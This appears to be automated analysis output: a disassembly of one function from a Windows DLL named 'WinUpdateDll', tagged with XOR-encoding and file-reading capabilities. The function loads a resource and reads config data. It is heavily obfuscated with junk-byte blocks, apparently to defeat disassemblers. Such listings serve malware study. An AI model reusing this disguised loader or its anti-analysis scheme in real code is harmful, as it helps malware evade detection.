Function at 0x10009707
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
or eax, 0x74d0642f
pushfd
sbb ebx, ebx
pushfd
test byte [0x10009706], 2
jne 0x10009707
mov eax, 0x2e21305b
pop esi
mov bl, 0x73
mov al, 0x22
in al, 0xa6
xor ebp, edi
and esi, dword [ecx]
inc esi
and eax, 0x734e3144
mov esi, 0x732f7bc0
shl bl, 1
mov eax, 0xdbd9f9c3
cdq
loopne 0x1000966b
push cs
mov gs, word [esi - 0x16]
mov esp, 0x73696f40
jnp 0x100095c2
sbb byte [ebx + 0x37], ch
lodsb al, byte [esi]
aaa
inc eax
cld
mov dword [0xc9ca69a6], eax
scasb al, byte es:[edi]
mov al, byte [ebp - 0x75539026]
int1
scasb al, byte es:[edi]
xor al, 0x9b
adc al, 7
push ebx
loopne 0x100096cf
scasd eax, dword es:[edi]
loopne 0x100096d2
sbb dword [ebx - 0x1f1df045], 0xdb763433
xchg ebx, eax
xor eax, 0xaf58a70e
cmpsd dword [esi], dword es:[edi]
pop eax
scasd eax, dword es:[edi]
push ds
cmpxchg edx, esi
dec eax
scasd eax, dword es:[edi]
xchg edx, esp
idiv dword [ebx - 0x556189e7]
xchg edi, eax
adc dword [0x4a92c79e], ebx
mov eax, dword [0x761acd9e]
mov bl, ch
pop ebx
mov bl, 0xcf
add eax, 0x403bcc15
popfd
jecxz 0x100096dc
xchg ebp, eax
cmp dword [ebx], 0xb78ed266
sal ebp, 1
stosd dword es:[edi], eax
xor eax, 0xfad4b2d8
adc al, 0xd0
dec esi
clc
adc cl, byte [ebp - 0x36]
arpl di, dx
ja 0x100096c2
jg 0x10009693
push cs
pushal
call 0xe58b990c
arpl word [eax - 0x395f938c], dx
outsd dx, dword [esi]
xchg esp, eax
and cl, byte [edx + 0x18720f12]
out dx, al
inc edi
out 0xd1, eax
cmp eax, 0xe6f88f91
xchg esi, eax
clc
out 0x96, al
push ss
xor al, 0xe6
or byte [eax], bh
sub al, 0x33
pop esp
mov ebx, 0xc733935f
xchg ebx, eax
xor eax, edi
mov ch, 0x69
push 0xffffffffffffffa5
sar byte [esp + ecx*4 - 0x21], 1
sub ebp, dword [ebp - 0x12205b6a]
sal byte [edx + 0x24], cl
cmp dword [ecx], ecx
push edi
rcr edx, cl
mov al, byte [0xcac440f6]
mov ebx, 0xc191f3ef
popal
sub esi, ecx
cmpsd dword [esi], dword es:[edi]
scasd eax, dword es:[edi]
arpl bx, bx
popfd
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1001f6e8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
xor eax, eax
push edi
mov edi, dword [ebp + 8]
push 2
pushfd
test byte [0x1000973e], 5
jne 0x1000973f
loopne 0x1000972d
jbe 0x1000979a
scasd eax, dword es:[edi]
mov bl, 0x70
mov edi, 0x4182d065
test byte [eax + eax], 0x56
popfd
push eax
push edi
pushfd
test byte [0x10009795], 0xb2
je 0x10009796
push ss
insb byte es:[edi], dx
inc esi
shr byte [ebx + eax*2], 1
push edx
and dl, byte [edi + 3]
rcr byte [edx + edi*2 + 0x23], cl
ror dword [esi], 0x8d
xchg edx, eax
pop edi
cmp al, 0xed
int1
jae 0x100097b0
out dx, eax
out 4, eax
jmp [ebx + edi*2]
popfd
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x1c], eax
pushfd
test byte [0x1000982a], 0xf1
jne 0x1000982b
vmwrite ebp, dword [eax + 0x7c64117e]
cmp ch, byte [eax]
jl 0x100097ed
sub byte [0x3079ed47], bl
sbb eax, 0x3079ed47
in eax, dx
mov esp, 0xed755723
fucom st(2)
cmp bl, dh
pop esi
sbb ebp, dword [0x3b976369]
stosd dword es:[edi], eax
sub dword [ecx + esi*2 + 0x5a6f032f], esi
sub cl, bl
mov eax, 0xd350aef4
sub bl, ch
xor al, 0x1e
mov ch, 0x1a
popal
mov edx, 0x1b2a9468
imul dword [ecx - 0x7e161598]
jne 0x100097b4
insb byte es:[edi], dx
push ebp
ror edx, cl
mov edx, 0xf6f939a5
mov dh, 0x35
mov cl, 0xb5
add bl, bh
aam 9
or bl, cl
mov eax, 0x621abadd
outsd dx, dword [esi]
cmp eax, 0xdab417e5
jmp dword [eax]
popfd
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, eax
mov dword [ebp - 0x24], esi
pushfd
test byte [0x100098c3], 0x66
je 0x100098c4
jne 0x100098b9
pop eax
sbb dword [ebx + edx - 0x4a8c4ebc], esi
sar dh, 1
movsd dword es:[edi], dword [esi]
imul edi, dword [eax - 0x5e8e7e15], 0xffffffce
mov ah, byte [0x5345336e]
inc ebp
push ebx
scasb al, byte es:[edi]
cmp eax, 0x38e0319f
movsb byte es:[edi], byte [esi]
or al, dh
xchg byte cs:[ebx + ecx*4], bh
push edi
mov bh, 0xc3
cmp ecx, ecx
sbb dword [0xa6c04510], 0x3b
add eax, 0x98626dfa
fcmovb st(0), st(0)
stc
sbb eax, eax
inc ecx
bound ebx, qword [esp + edx*4 + 0x60]
mov ebp, 0xeee5cd05
push ss
mov dh, 0xac
ja 0x100098ee
out dx, eax
cmp eax, 0x982524db
insd dword es:[edi], dx
jecxz 0x1000991a
and al, ah
inc edx
inc edi
sub dl, byte [eax + 0x1d]
sbb byte [ecx + edx*4], dh
outsb dx, byte [esi]
int1
out 0x7b, al
xor byte [edx], ch
das
shl dword [ecx - 0x63], cl
sub byte [ecx + 0x5db594bd], 0x89
popfd
test esi, esi
je 0x10009c0d
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x1c]
pushfd
test byte [0x100099d1], 0xaa
jne 0x100099d2
stosb byte es:[edi], al
fist dword [eax + ecx*4 + 0x75]
and al, 0x7d
sub byte [0xd8d8d3e6], 0xa5
jge 0x1000986b
sub eax, 0xd8d8d3e6
fcomp st(0)
movsd dword es:[edi], dword [esi]
cmpsb byte [esi], byte es:[edi]
mov ah, 0xc7
loopne 0x1000994c
pop edi
adc byte [ebx], ch
dec eax
shr dh, cl
in al, dx
mov bh, 0x37
cmp ebp, ebp
cmp eax, 0xeb7a6ce
inc eax
adc ecx, esi
xchg esp, eax
inc ebx
cmp byte [ebp + 0x6c], ah
imul edx, dword [eax + 0x42], 0x76fb7052
fldln2
xchg edx, eax
mov bl, 0xfa
in al, dx
lodsd eax, dword [esi]
sbb dh, bl
cmp dword [esi - 0x70d9626f], esp
sub ebp, ecx
rcr esp, cl
cwde
fadd st(4), st(0)
or esp, esp
scasd eax, dword es:[edi]
idiv bh
leave
cmp byte [eax + ebx*8], 0x65
aad 0x6f
or ecx, esp
add bl, byte [ebx - 0x3a]
push cs
in eax, 0xfb
das
dec edi
insb byte es:[edi], dx
sti
jge 0x100099c2
les esp, [0xd5f7be52]
cmp dh, byte [edx + edx - 0x3b]
mov eax, 0x2577cb2
je 0x10009960
lds edi, [eax + 0x2577cb2]
push es
xlatb
jecxz 0x10009991
dec esp
push esp
dec ecx
adc ch, byte [ebx - 0x7a]
jnp 0x100098e9
push edx
jne 0x1000996e
mov ah, byte [0x572fdb73]
sub eax, 0xc1a74a19
or byte [ebp - 0x5dbdae04], 0xd8
in eax, dx
nop
push edi
fadd dword [ecx + 0x3d]
insb byte es:[edi], dx
invalid
cmpsd dword [esi], dword es:[edi]
jo 0x10009a0e
xor dh, cl
inc esp
adc eax, 0x373fdf79
das
insd dword es:[edi], dx
inc eax
scasd eax, dword es:[edi]
adc al, byte [eax - 0x73e64c66]
sbb eax, 0x2e30416b
inc byte [eax + edi*8]
mov esi, 0x88e68aba
xchg esi, eax
mov bh, byte [esp + eax + 0x7df73916]
pop edx
out dx, al
lodsd eax, dword [esi]
jl 0x10009a33
mov dl, cl
movsb byte es:[edi], byte [esi]
xchg esi, eax
xor edi, edx
jne 0x10009a0f
or byte [edx - 0x18d11fa0], al
xor ecx, edi
sbb bh, al
popfd
push ecx
push 0xa
push 0x82
push esi
call fcn.10007ec0
add esp, 0x14
cmp eax, 1
jne 0x10009b5c
cmp dword [ebp - 0x20], 0x908
jne 0x10009b5c
push str.QueryResource_success_
push str.WinUpdateDll_______
push 0
call fcn.100051a0
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x14], ecx
adc byte [ecx + 0x488be855], cl
add al, 0x89
dec ebp
in al, dx
mov edx, dword [eax + 8]
mov dword [ebp - 0x10], edx
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
lea esi, [eax + 0x10]
mov ecx, 0x23e
pushfd
test byte [0x10009a49], 0x49
je 0x10009b4a
add byte [esi + esi*8 + 0x9a4905], bl
adc byte [ecx + 0xf], cl
test byte [edi], cl
add dword [eax], eax
add byte [eax + 0x12], dl
je 0x10009a57
push eax
adc dh, byte [eax + ebx + 6]
push es
inc edx
and ebx, edx
jnp 0x10009ac2
adc ecx, dword [ebp - 0xf]
mov ch, 2
int 0xec
push ebp
jg 0x10009a6e
adc byte [ecx + 0x4487236f], ah
cmp dword [ecx + 0x73], edi
rol edx, cl
fld dword [edx - 0x1e]
cdq
popfd
cmp cl, byte [edx - 0x74]
mov esi, 0x4c45e7e8
rcr byte [eax], 0x33
xor ch, dh
mov eax, 0x17475197
jae 0x10009a2c
ret 0x42d9
push ecx
inc edi
pop ss
dec edx
push ecx
lodsd eax, dword [esi]
sbb dh, byte [edi + 0xc]
ja 0x10009a83
xor eax, 0xae7b199e
sbb dword [ebx - 0x52], edi
mov al, 0x66
and al, byte [eax + 0x57]
mov edx, ecx
mov ebx, 0x22a9e74d
push 0xfac97487
and eax, 0xeec5ee29
add dword [edi + 0x1ab27c87], edx
adc eax, 0x7702211f
int1
mov ch, 0xda
cli
salc
fiadd dword [ebx - 0x14]
lea edx, [eax + 0x668525dc]
insb byte es:[edi], dx
pushal
push dword [edx + 0x5f]
push edx
xchg esi, eax
std
push ebp
insb byte es:[edi], dx
pop ebp
jbe 0x10009a75
pop esp
pop ecx
lds edx, [edi + eax*2 + 0x4eade35e]
popal
or eax, 0xe69849d0
sub edi, dword [ecx + 0x4f]
movsd dword es:[edi], dword [esi]
jae 0x10009a79
or dword [edi + 0x27], ecx
in al, 0x84
in eax, 0xdf
cli
mov esp, 0x9d5acfb9
cmpsd dword [esi], dword es:[edi]
cmp eax, 0x3000c5c1
mov ebp, 0x70b53318
bound esp, qword [esi + 0x69e102aa]
adc eax, 0xabd2bd24
int1
pop ss
dec ecx
add eax, 0x6272e988
sub esi, esp
lds edi, [ebx + 0x69]
push cs
lock sub dword [edi - 0x42], ebp
nop
push ebp
inc ebp
adc dh, dh
push esi
shr dword [ebp - 0x30], cl
inc edi
int 0x54
mov ch, 0xf4
sahf
push ebx
popal
cmp ch, ch
mov cl, 0xde
cmp byte [ecx + 0x151ceb9d], dl
pop ds
lodsb al, byte [esi]
pop edi
jae 0x10009b4f
inc edx
loop 0x10009b34
mov al, 0x67
daa
mov eax, dword [0x7eab70cd]
push edx
sti
jb 0x10009b42
xchg dword [ecx - 0x77], edx
out 0x25, eax
pushfd
cmp esp, dword [ecx - 0x30]
jbe 0x10009ac2
enter 0xffffffffffff815c, 0xffffffffffffffeb
xchg esp, eax
sub eax, 0x44f37620
sub ebx, 0x76202d94
inc esp
popfd
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x24]
add esp, 0xc
mov edi, 1
jmp 0x10009b79
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.QueryResource_Error:_d_
push str.WinUpdateDll_______
push 0
call fcn.100051a0
add esp, 0x10
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
pushfd
test byte [0x10009c02], 0x34
jne 0x10009c03
jecxz 0x10009bc5
scasd eax, dword es:[edi]
mov esi, 0x8b9a3cde
mov cl, 0x79
add eax, 0xd0af6c89
fild word [edi - 0x51f3132d]
xor ebp, esp
fimul word [esi]
outsd dx, dword [esi]
mov al, byte [0xfa6bdc58]
push ss
sub eax, 0x33d9a05a
xor al, 0xd8
inc ecx
outsb dx, byte [esi]
or ebx, dword [edx - 0x14]
out 0x8c, al
pop ebx
and eax, 0x13eea03b
shl ecx, 1
mov eax, dword [esi + ebx - 4]
push ds
cld
push eax
clc
imul esi, dword [ebx + 0x40598606], 0xffffffe4
or esp, dword [eax]
or dl, al
and eax, ecx
push 0x2d
pop ss
jno 0x10009be3
dec esi
adc al, 0x6f
mov eax, dword [0x55d81885]
sub cl, byte [eax]
mov dword [0x688b3dbb], eax
mov bh, 1
pop edx
jg 0x10009bbb
mov ah, 0xb8
sbb eax, dword [ecx + edx*2 + 0x3e]
jl 0x10009c08
sbb dword [ebx], 0x50
sub byte [eax - 0x50], bh
sbb al, 0xaa
pop ss
xor al, 0x7e
outsb dx, byte [esi]
popfd
jne 0x1000a20c
add byte [eax], al
mov edi, dword [ebp - 0x28]
push str.Read_config_info_from_file_end
push str.WinUpdateDll_______
push 3
call fcn.100051a0
push 0x1001b4c4
pushfd
test byte [0x10009c3c], 0x44
jne 0x10009c3d
inc esp
adc bl, byte [edx + 0x78]
salc
adc al, 0xa5
xchg ecx, eax
xchg edi, eax
sub eax, 0x1af5067d
invalid
popfd
push edi
pushfd
test byte [0x10009ce4], 0xdd
jne 0x10009ce5
repe scasb al, byte es:[edi]
jl 0x10009c80
or esp, dword [0x2630ddfd]
cmpsd dword [esi], dword es:[edi]
imul edi, dword [edi], 0xf86dd91d
add esp, dword [esi]
mov ah, 0x79
or ecx, dword gs:[esi + 0x580dbe2c]
adc eax, 0xed6d78bc
dec ebx
arpl cx, bx
adc eax, 0xfe199026
sbb cl, al
inc ebx
pop esi
xchg esi, eax
inc edi
cmc
mov ch, byte [edx - 0x76]
pushal
jbe 0x10009c88
mov ah, byte [eax + 0x76]
add al, 0xcc
out dx, eax
aas
daa
int3
cli
jl 0x10009cff
add ch, byte [esi + 0xc1fdf6e]
rol dword [ecx], cl
or dword [esi - 0x57820a02], edx
sbb byte [ecx + 0x5c], cl
dec ebx
outsb dx, byte [esi]
or byte [edx - 0x3bbfc72f], bh
xchg ebx, eax
xor esp, esp
mov eax, dword [0xebd48e80]
push dword [ebx + 0x50]
rcr byte [ebp - 0x57], cl
scasb al, byte es:[edi]
xor eax, 0xd9a52d6d
std
mov edx, 0xccfa7852
das
push esi
stc
invalid
lahf
pop ebp
pop eax
mov dh, 0x9d
popfd
call fcn.1000d2d7
mov esi, eax
pushfd
test byte [0x10009dd8], 0xcd
jne 0x10009dd9
in eax, 0x47
jns 0x10009ce0
shl byte [ebx - 0x41c46140], 1
cmp al, 4
jb 0x10009d16
sahf
cmp edi, dword [esi + 0xd72043c]
and al, 0xdd
mov es, word ds:[edx + 0x79508894]
stc
sal dword [edi + 0x24867267], cl
mov fs, word [ebx + 0x66c6c99d]
jb 0x10009c9e
and al, 0x8e
mov dword [0x66c6c99d], eax
dec esp
nop
test eax, 0x8f72b020
in al, dx
add al, 0xea
in eax, dx
xchg ecx, eax
test al, 0xb4
inc ebx
xor dword [edx + 0x30bac1ed], ebp
jno 0x10009d2a
xchg esp, ecx
int 0x13
sub edi, ebx
imul ebp, dword [edi - 0xd], 5
in al, 0x32
xor dl, byte ds:[eax - 0x3c00a0cf]
cdq
stosb byte es:[edi], al
pop edi
add byte cs:[edx + 0x143b9a96], cl
loopne 0x10009d02
call 0xdfbc452f
mov word [esi], es
imul eax, dword [ecx - 0x77], 0xffffffce
mov edi, 0xf566103
les esp, [ecx + 0x67569add]
dec edi
push ebx
inc eax
in eax, 0x41
jnp 0x10009d80
xor al, byte [ebx + 0x48]
sub dword [edx], edx
clc
cld
sub bh, byte [ebp + 0x6f]
fdivp st(3)
sub cl, byte [edx + ebx + 0x44]
mov ch, 0x44
sbb al, byte [ebp + esi*4 + 0x44]
sar dword [edx + 0x23], cl
sbb eax, 0x1bbaba96
and dh, byte [edi]
push eax
xchg byte [eax - 0x54], bh
and dword [edi], esp
push ds
xchg esp, eax
mov bh, 0x40
cmp esp, ecx
test al, 0x4e
sal dword [esi + 0x194842f2], 1
xchg ebx, eax
pop es
jns 0x10009d3c
dec ebp
xor ecx, esi
inc edx
cmp dword [esi - 0x1782fd7], ebx
sbb edi, eax
dec edi
mov ebx, 0xcc983280
int1
inc ebx
or bh, byte [edx + edi*4 + 0x24ff3bec]
mov esi, ebx
push ebx
xchg edx, eax
mov bh, byte [esi - 0x7a3fc90a]
inc ebx
insd dword es:[edi], dx
push ecx
stosb byte es:[edi], al
fild qword [eax]
or dword [ebp + 0x713979cc], esp
popfd
add esp, 0x14
pushfd
test byte [0x10009e04], 0x28
jne 0x10009e05
jno 0x10009e4c
push edx
sbb al, 0xc4
or cl, dh
cmp dword ds:[ebx - 0x1953fde2], ebx
push 0xffffffffffffffad
test al, 0x6e
sbb dword [eax - 0x2e], ebx
cmp al, byte [edi]
sub al, al
fiadd dword [ebx + 0x41]
cld
popfd
test esi, esi
jne 0x10009f14
push str.Cant_Open_File_
push str.WinUpdateDll_______
pushfd
test byte [0x10009e3c], 0xe0
jne 0x10009e3d
xchg ebx, eax
mov bl, 0x64
xchg ebp, eax
das
adc eax, 0x85ed85c7
add dh, dl
cld
cmp dl, dl
mov bl, 0x4c
imul edi, dword [edi + ebp*2], 0x20884cb5
push ss
pop ebx
aaa
popfd
push eax
call fcn.100051a0
add esp, 0xc
pop edi
pop esi
xor eax, eax
pushfd
test byte [0x10009e64], 0xaf
jne 0x10009e65
aaa
outsd dx, dword [esi]
push edx
xchg edi, edx
cmp dword [edx - 0x398e7fdb], edi
sti
xlatb
inc eax
pop ds
das
popfd
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000d498
mov esp, ebp
pop ebp
ret
push 2
push 0xfffff708
push esi
call fcn.1000efef
add esp, 0xc
test eax, eax
je 0x1000a118
pushfd
test byte [0x10009f93], 0xd8
jne 0x10009f94
inc ebp
cmp eax, 0x31500707
mov al, 0x55
sub al, 0xa9
out 0x8f, eax
mul dword [edx + 0x7b]
sub byte [esi + 0x3a], al
mov dl, 0xb2
push ebp
xor ebx, dword [edi + 0x5d]
add cl, dh
rol dword [eax + ecx*2 + 0x65], 1
sbb byte [edi - 0x182855cd], cl
mov dl, 0xa5
jg 0x10009f6d
imul dword [eax + 0x5a]
repe scasd eax, dword es:[edi]
pop esi
out 0x4b, al
salc
sub edi, dword [esi + 0x3b]
cwde
aad 0xae
push ss
test dword [eax - 0x5b015190], ebp
cmpsb byte [esi], byte es:[edi]
dec eax
or dword [eax + ebp*8 + 0x24feda3e], 0xf009c508
or eax, esi
adc al, 0x8f
movsb byte es:[edi], byte [esi]
xchg ecx, eax
lodsb al, byte [esi]
dec edx
or ch, byte [ecx + 0xafb1607]
aas
je 0x10009f7f
out dx, eax
mov bh, 0xd5
adc al, 0xc
popfd
push str.fseek_error
push str.WinUpdateDll_______
push 0
call fcn.100051a0
push esi
pushfd
test byte [0x10009fc1], 0x88
je 0x1000a0c2
or eax, 0x69000001
sub byte [edi - 0x14f12ccf], 0x38
xchg ebp, eax
push cs
imul eax, dword [eax + 0xed331af], 0xe9538eb
scasd eax, dword es:[edi]
xor ebx, edx
push cs
jmp 0x10009ff5
push 0x892123db
adc dword [0x2bf31bac], 0x17713703
scasb al, byte es:[edi]
loopne 0x10009f8f
ror edx, 0xe1
mov edi, 0x602da537
idiv byte [edi + eax]
sub eax, 0x73cf660
mov ebp, 0xf3692633
pop ebx
insb byte es:[edi], dx
adc byte [ebx - 0x5d], ah
ja 0x1000a00d
mov esi, 0x17d8ed1d
jbe 0x10009fb7
mov esi, dword [ecx]
or al, 0x1f
jbe 0x10009fb1
lds ebp, [eax - 0x7d]
loop 0x10009fb5
xor byte [ebx - 0x11149ae7], 0x9c
call 0x11573445
idiv byte [esp + edx*8]
fsub dword [edx + edx*4 - 0x223203e6]
cld
int 0xdd
inc edi
cli
mov esi, 0xa66b32c0
add byte [ecx - 0x4d1fa17c], dh
mov esi, 0xdd5f6938
inc ebx
mov esi, 0x261bf025
push ds
stc
salc
call 0x84eda151
int1
jge 0x1000a012
sbb ecx, ebp
mov eax, 0x20d7fd1d
xor al, 0xcb
xchg byte [esp + eax*4 - 0x253b279c], dh
mov ch, 0x39
stc
jnp 0x10009fd7
sub eax, dword [esi + edi*4]
stosd dword es:[edi], eax
imul byte [edx]
movsd dword es:[edi], dword [esi]
sbb byte [ecx + 0x6f], ah
dec ebx
das
les edx, [edi + 0x7f]
adc byte es:[edx + 0x1c], dl
lahf
push esi
int 7
cmc
dec eax
rcl dword [ebx + 0x16fa5a25], 0x52
inc edx
loopne 0x1000a0ab
jo 0x1000a0ad
dec edx
daa
and cl, byte [ebp + 0x7c2ec11f]
xlatb
jl 0x1000a0d3
cmp eax, 0xb0c99fc
in eax, 0x6f
outsd dx, dword [esi]
pop edx
daa
movsb byte es:[edi], byte [esi]
popfd
scasb al, byte es:[edi]
mov al, byte [0x5d067e81]
push edx
pop ss
or dword [ecx + 0x38], ebp
push ebx
push ecx
push ds
cmp al, 0x12
sbb byte [edx - 0x48030870], 0xf3
jecxz 0x1000a0d5
jecxz 0x1000a0d9
loop 0x1000a081
adc edi, edi
jne 0x1000a0d3
sub al, 0xcb
salc
imul byte [edx + 0x7c5aacd2]
push eax
stosb byte es:[edi], al
shr byte [edx + ebx*2 + 0x122e507c], cl
pushfd
lds ecx, [ecx - 0x10]
aaa
invalid
lodsb al, byte [esi]
pop edx
jl 0x1000a101
adc bl, byte cs:[ebp + eax*8 - 0x71c80fb7]
js 0x1000a0a3
fild dword [ebx]
sbb eax, 0x73d31f14
popfd
call fcn.1000d35b
add esp, 0x10
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
dec ebp
cld
pushfd
test byte [0x1000a10b], 0x29
add eax, 0x1000a10b
sub dword [ebp + 0x2f], esi
adc byte [ecx], ch
jne 0x1000a10c
xor edi, dword [ecx - 0x3d4e863d]
aam 0x2f
shr dword [ecx + ecx - 0x44fc898e], 0x48
mov al, byte [0xf5e6973a]
or dword [edx + 0x76], esi
add edi, dword [ebx - 0x68c55fb8]
out 0xf5, al
outsd dx, dword [esi]
stosd dword es:[edi], eax
or edi, dword [esp + edi*8 - 0x68]
mov eax, 0x5ab403c2
mov dh, 0xcc
inc ebx
and ch, bl
aaa
cmp byte [ecx - 0x3b8d6ab2], dl
sub edx, ecx
int1
jmp 0x1000a13a
popfd
xor ecx, ebp
call fcn.1000d498
mov esp, ebp
pop ebp
ret
push esi
pushfd
test byte [0x1000a1e0], 0x5c
jne 0x1000a1e1
test eax, 0x18621ac3
sbb eax, 0x67471e6e
push ecx
dec eax
ja 0x1000a0d1
pop ecx
sub edi, dword [edi + 0x23375f8f]
inc eax
shl byte [0x33efe001], 1
pop edi
aaa
and eax, dword [eax - 0x30]
and eax, 0x33efe001
jns 0x1000a0f8
xlatb
add al, 0x71
shl dword [ebp - 0x23], cl
dec esp
pop edi
jno 0x1000a0e7
sub bl, byte [ecx - 0xc]
adc eax, 0x3b2f7b14
in al, dx
mov al, byte [0x4fd48733]
aaa
out 0xbb, al
sbb bl, byte [ecx]
dec ecx
push edx
lds esi, fs:[esi]
mov bl, 0x72
add eax, 0x15dbb2c7
or eax, 0xd3169cb9
in al, dx
pushfd
mov esp, 0x470af283
sub ch, byte [eax - 0x72b62bb2]
push esp
shr ecx, 1
mov gs, edi
jo 0x1000a1db
aad 0x32
and ecx, 0xef09b057
mov bh, 0xd4
test al, 0xdc
mov ah, 0xa
into
sub eax, dword [esi]
cli
inc esp
movsb byte es:[edi], byte [esi]
aad 0xa7
sbb ebp, dword [ebp - 0x5b]
pop esp
mov byte [0xf25225ff], cl
sub byte [eax + 0x4148baa8], 0x9d
popal
inc ebp
or eax, 0xfe8e8513
xchg ecx, eax
jbe 0x1000a22f
pop eax
aas
sub dword [esp + ebx + 0x743102e2], ecx
arpl word [ebp + 0x76], si
je 0x1000a226
jne 0x1000a23b
fsubr dword [ebp - 0x15682a23]
jnp 0x1000a1c1
call 0x37c6a657
xchg ecx, eax
mov eax, dword [0x1027d9e5]
add ah, byte [eax + esi - 0x4a]
aas
mov dh, 0x3f
or byte [ecx + 0x26], dl
dec eax
popfd
push 0x8f8
push 1
push ebx
call fcn.1000ecbb
add esp, 0x10
cmp eax, 0x8f8
je 0x1000a203
push str.fread_error
jmp 0x10009f9a
push esi
call fcn.1000d35b
add esp, 4
mov esi, 0x270f
pushfd
test byte [0x1000a21e], 0xf
jne 0x1000a21f
lahf
mov bl, 0x28
push ss
popfd
lea esp, [esp]
and al, 0xf
mov esi, 0xdaf7e855
movsx edx, byte [ebp - 0x18]
neg edx
call 0x69d7d22
add eax, 0x1000a262
mov dh, 0x75
xor byte [eax - 0x5843e498], bl
popal
pushfd
test byte [0x1000a262], 0xb6
jne 0x1000a263
adc byte [esi + 0x68983075], dh
sbb edi, dword [edi + 0x2a581e61]
pop ss
cwde
push 0x61a7bc1b
push ds
pop eax
sub dl, byte [edi]
js 0x1000a271
xor al, byte [esi + 0x41a5b6c8]
xchg al, cl
mov dh, 0xa5
inc ecx
or esp, edi
adc al, 0x21
push edx
pop esi
jbe 0x1000a222
scasb al, byte es:[edi]
and byte [bp - 0x3b], 0xc3
rcr byte [edi + 0x63], cl
dec ebp
xchg ebx, eax
rcr byte [esi + 0x6540b890], cl
inc esi
inc eax
adc al, 0xe
inc edx
dec esp
popfd
sbb edx, edx
lea eax, [ebp - 0x18]
pushfd
test byte [0x1000a2cd], 0x93
jne 0x1000a2ce
xchg byte [ecx - 0x6f], bh
or eax, 0x254f8e6c
push esi
mov bh, 0xb3
lodsd eax, dword [esi]
xor dh, byte cs:[edx + 0x1eff773c]
cmp ebx, dword [edx - 0x32]
jo 0x1000a2cb
jo 0x1000a23e
adc ch, byte [edi - 0x28]
cmp dword [ebx], 0xa664e5c0
and byte [esi + 0x5cf74552], bl
or dh, byte [ecx + 0x14]
jbe 0x1000a2c5
pop esp
stosd dword es:[edi], eax
mov dword [0x1d26548c], eax
and byte [ebx], 0xd1
cmpsd dword [esi], dword es:[edi]
mov ebx, dword [0x431afcec]
out dx, al
fcom qword [eax - 0x31]
pushal
sbb byte [edx + 0x292115c7], al
sar byte [esi], cl
outsb dx, byte [esi]
cli
sub eax, 0xbf442e36
int1
xlatb
inc esp
mov edi, 0x1996d7f1
enter 0x239d, 0xffffffffffffffd0
xchg esi, eax
sbb eax, ecx
popfd
and edx, eax
push edx
pushfd
test byte [0x1000a37d], 0xf
je 0x1000a37e
jb 0x1000a331
sub eax, 0xed97f109
dec edi
add dword [eax], esp
dec ecx
test dword [edx + ebp*8], ebx
shl byte [ebx - 0x1d324699], cl
fisttp qword [ecx + edx*4 + 0x47]
inc edi
scasd eax, dword es:[edi]
loop 0x1000a343
sub ah, dl
cdq
dec edi
insb byte es:[edi], dx
sal byte [ecx - 0x36], 1
out dx, al
jae 0x1000a2f7
mov es, word [edi + 0x24]
mov al, byte [0xf3fcc511]
imul esp, ebx, 0xcbca00d
sub ebx, edi
inc ebp
fild word [ebp + 0x4b]
dec ebx
cmp dword [edi + esi + 0x178624a], 0xffffffd7
jb 0x1000a2ad
add cl, ah
rcl dword [ebx], 0x79
sar dword [ecx - 0x16], cl
adc edi, dword [ecx - 0x2d]
jns 0x1000a316
test eax, 0x4d1e391
bound esp, qword [edi - 0x4d6f8464]
and al, 0x51
outsd dx, dword [esi]
stosb byte es:[edi], al
xchg ecx, eax
sbb eax, 0xd37afdb8
aas
je 0x1000a327
jecxz 0x1000a34a
add eax, 0xb0f62eee
mov eax, dword [0xbb846468]
cdq
out dx, al
div byte cs:[eax - 0x7b9b975f]
mov ebx, 0x1b7e2099
push 0x99bb8464
and byte [esi + 0x1b], bh
lodsb al, byte [esi]
cmc
fst qword [ebp - 0x63]
popfd
dec edi
scasd eax, dword es:[edi]
fcmovu st(0), st(7)
adc esp, esi
test dword [eax - 8], eax
xchg edx, eax
dec edx
mov byte [edi + ecx*4 + 0x48f92470], dh
push ebx
inc ebx
jecxz 0x1000a396
sub eax, dword [edx + 0x4e483211]
salc
inc esp
jb 0x1000a318
mov ecx, 0xf0856e1e
popfd
push 0x8f8
push ebx
call fcn.10002c70
add esp, 0xc
dec esi
jne 0x1000a223
mov bh, bh
inc dword [ebx + 0xf4e0cc4]
test dword [edi + 0x68fffffe], ecx
invalid
push 0x1001b4f0
push ebx
call fcn.1000f72b
pushfd
test byte [0x1000a421], 0x74
jne 0x1000a422
mov ah, 1
adc byte [ebx - 0x18], dl
mov word [ebx], ss
add byte [esi + esi*8 + 0xa42105], bl
adc byte [ebp + esi*2 + 0x79], dh
dec ecx
pop ecx
xor byte [edi - 0x3767f4de], bl
adc eax, 0xa0cf856f
sbb esi, dword [esi]
add al, 0x6e
test byte [edx], dh
xchg esp, eax
sbb eax, 0xc6a34a80
movsb byte es:[edi], byte [esi]
in al, dx
je 0x1000a3e3
imul edi, dword [edx + 0x6c], 0xd1139af5
xchg ebx, eax
pop esp
movsd dword es:[edi], dword [esi]
mov dword [0x50cfebe2], eax
enter 0x242c, 0xffffffffffffffda
insb byte es:[edi], dx
salc
daa
rol byte [eax + eax*4 - 0x4b], 1
call 0x900934f
les ecx, [eax]
or eax, 0x14b6085d
mov byte [eax + 0x5ca2d4c0], cl
lodsb al, byte [esi]
sub ebx, dword [ebp + 0x1598da66]
pop ebx
mov al, 0x78
inc ecx
adc bl, bl
jne 0x1000a387
out dx, eax
